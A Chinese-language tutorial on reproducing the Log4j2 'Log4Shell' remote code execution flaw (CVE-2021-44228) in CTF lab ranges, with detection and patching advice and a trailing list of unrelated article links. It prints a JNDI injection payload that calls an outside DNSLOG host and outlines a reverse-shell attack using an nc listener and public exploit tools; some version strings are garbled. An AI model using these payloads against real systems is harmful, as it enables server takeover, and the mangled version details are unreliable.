Apache?log4j2-RCE?漏洞復(fù)現(xiàn)及修復(fù)建議(CVE-2021-44228)
Apache log4j2-RCE 漏洞復(fù)現(xiàn)
0x01 漏洞簡(jiǎn)介
Apache Log4j2是一個(gè)基于Java的日志記錄工具。由于Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請(qǐng)求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。漏洞利用無(wú)需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。
漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1
,只需檢測(cè)Java應(yīng)用是否引入 log4j-api , log4j-core 兩個(gè)jar。若存在應(yīng)用使用,極大可能會(huì)受到影響。
0x02 環(huán)境準(zhǔn)備
驗(yàn)證靶場(chǎng):
1.CTFshow (https://ctf.show/challenges#Log4j復(fù)現(xiàn)-1730)
2.VULFOCUS(http://vulfocus.fofa.so/)
3.掌控安全封神臺(tái)(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)
0x03 漏洞驗(yàn)證(DNSLOG篇)
我們通過(guò)JNDI注入請(qǐng)求DNSLOG的惡意語(yǔ)句,如果在DNSLOG端能查看到訪問(wèn)記錄,則證明遠(yuǎn)程代碼執(zhí)行漏洞存在
我們CTFshow的靶場(chǎng)來(lái)做后續(xù)驗(yàn)證
我們直接在登錄框輸入惡意代碼:
${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}
然后我們成功在DNSLOG端查看到訪問(wèn)記錄,證實(shí)這里漏洞存在
0x04 漏洞驗(yàn)證(遠(yuǎn)程代碼執(zhí)行彈計(jì)算器&記事本篇)
在這里我們需要準(zhǔn)備好一臺(tái)有公網(wǎng)IP的VPS,然后在服務(wù)器端一個(gè)惡意代碼類exploit.class(將惡意代碼類通過(guò)javac編譯得到)、一個(gè)LDAP服務(wù)器log4j.jar(為運(yùn)行方便,將LADPRefServer.java打包成jar包上傳到服務(wù)器)
本地端需要準(zhǔn)備好一個(gè)LDAP客戶端(含log4j2執(zhí)行代碼)
首先我們?cè)诜?wù)器端開(kāi)啟LDAP服務(wù)端口監(jiān)聽(tīng),我這里設(shè)置的是7912端口
開(kāi)啟LDAP服務(wù)
然后我們只需要在本地運(yùn)行LDAP客戶端(含log4j2錯(cuò)誤調(diào)用的代碼)
由于我們?cè)趷阂獯a里執(zhí)行的測(cè)試命令是notepad和calc
不出意外的彈出了記事本和計(jì)算器
0x05 漏洞深度利用(反彈shell)
在這里我們需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar來(lái)生成payload
工具地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
然后使用如下網(wǎng)址來(lái)加密反彈shell命令
加密網(wǎng)址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反彈shell方法:
https://www.freebuf.com/articles/system/178150.html
我這里綁定的是服務(wù)器的9999端口(別忘了在服務(wù)器安全配置和寶塔安全配置開(kāi)啟端口)
然后我們就獲得了payload
之后我們?cè)诜?wù)器開(kāi)啟對(duì)于9999端口的監(jiān)聽(tīng)
nc -lvnp 9999
然后我們?cè)诎袌?chǎng)框輸入我們的惡意payload
點(diǎn)擊提交之后我們發(fā)現(xiàn)反彈shell成功
0x06 影響范圍及排查方法
影響范圍:
使用了log4j的組件并且版本在3.x <= 2.14.1
排查方法:
1.pom版本檢查
2.可以通過(guò)檢查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符來(lái)發(fā)現(xiàn)可能的攻擊行為
3.檢查日志中是否存在相關(guān)的堆棧報(bào)錯(cuò),堆棧里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等與jndi調(diào)用相關(guān)的堆棧信息
4.各種安全產(chǎn)品
自查工具:
https://sca.seczone.cn/allScanner.zip
https://static.threatbook.cn/tools/log4j-local-check.sh
需要注意的是并不是所有的使用了log4j2的項(xiàng)目|客戶端都會(huì)受到影響:
0x07 修復(fù)建議
官方方案:
1、將Log4j框架升級(jí)到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2
2、臨時(shí)方案
1、升級(jí)JDK
2、修改log4j配置
①設(shè)置參數(shù):
log4j2.formatMsgNoLookups=True
②修改jvm參數(shù):
-Dlog4j2.formatMsgNoLookups=true
③系統(tǒng)環(huán)境變量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS設(shè)置為true
④禁止log4j2所在的服務(wù)器外連
3、使用安全產(chǎn)品防護(hù):WAF、RASP
0x08 涉及資源
https://www.icode9.com/content-4-1255614.html
https://github.com/welk1n/JNDI-Injection-Exploit
https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/
https://www.jackson-t.ca/runtime-exec-payloads.html
https://chowdera.com/2021/12/202112102325553772.html
https://github.com/bkfish/Apache-Log4j-Learning
https://www.freebuf.com/articles/system/178150.html
https://github.com/fengxuangit/log4j_vuln
http://vulfocus.fofa.so/#/dashboard
到此這篇關(guān)于Apache?log4j2-RCE?漏洞復(fù)現(xiàn)(CVE-2021-44228)的文章就介紹到這了,更多相關(guān)Apache?log4j2-RCE?漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SpringCloud如何使用Eureka實(shí)現(xiàn)服務(wù)之間的傳遞數(shù)據(jù)
這篇文章主要介紹了SpringCloud使用Eureka實(shí)現(xiàn)服務(wù)之間的傳遞數(shù)據(jù)操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-06-06springboot @JsonSerialize的使用講解
這篇文章主要介紹了springboot @JsonSerialize的使用,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-10-10基于Session的國(guó)際化實(shí)現(xiàn)方法
下面小編就為大家?guī)?lái)一篇基于Session的國(guó)際化實(shí)現(xiàn)方法。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2016-08-08深入解析Java編程中的boolean對(duì)象的運(yùn)用
這篇文章主要介紹了Java編程中的boolean對(duì)象的運(yùn)用,是Java入門學(xué)習(xí)中的基礎(chǔ)知識(shí),需要的朋友可以參考下2015-10-10SpringBoot利用Junit動(dòng)態(tài)代理實(shí)現(xiàn)Mock方法
說(shuō)到Spring Boot 單元測(cè)試主要有兩個(gè)主流集成分別是Mockito,Junit,這個(gè)各有特點(diǎn),在實(shí)際開(kāi)發(fā)中,我想要的測(cè)試框架應(yīng)該是這個(gè)框架集成者,本文給大家介紹了SpringBoot利用Junit動(dòng)態(tài)代理實(shí)現(xiàn)Mock方法,需要的朋友可以參考下2024-04-04一篇文章帶你了解jdk1.8新特性--為什么使用lambda表達(dá)式
Lambda是一個(gè)匿名函數(shù),我們可以把Lambda表達(dá)式理解為是一段可以傳遞的代碼,本篇文章就帶你了解,希望能給你帶來(lái)幫助2021-08-08Springboot自定義banner及驗(yàn)證過(guò)程
這篇文章主要介紹了Springboot自定義banner及驗(yàn)證過(guò)程,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-04-04struts+spring+hibernate三個(gè)框架的整合
這篇文章主要介紹了struts+spring+hibernate三個(gè)框架的整合,需要的朋友可以參考下2017-09-09Maven多模塊工程Module開(kāi)發(fā)(圖文教程)
這篇文章主要介紹了Maven多模塊工程Module開(kāi)發(fā)(圖文教程),小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2018-12-12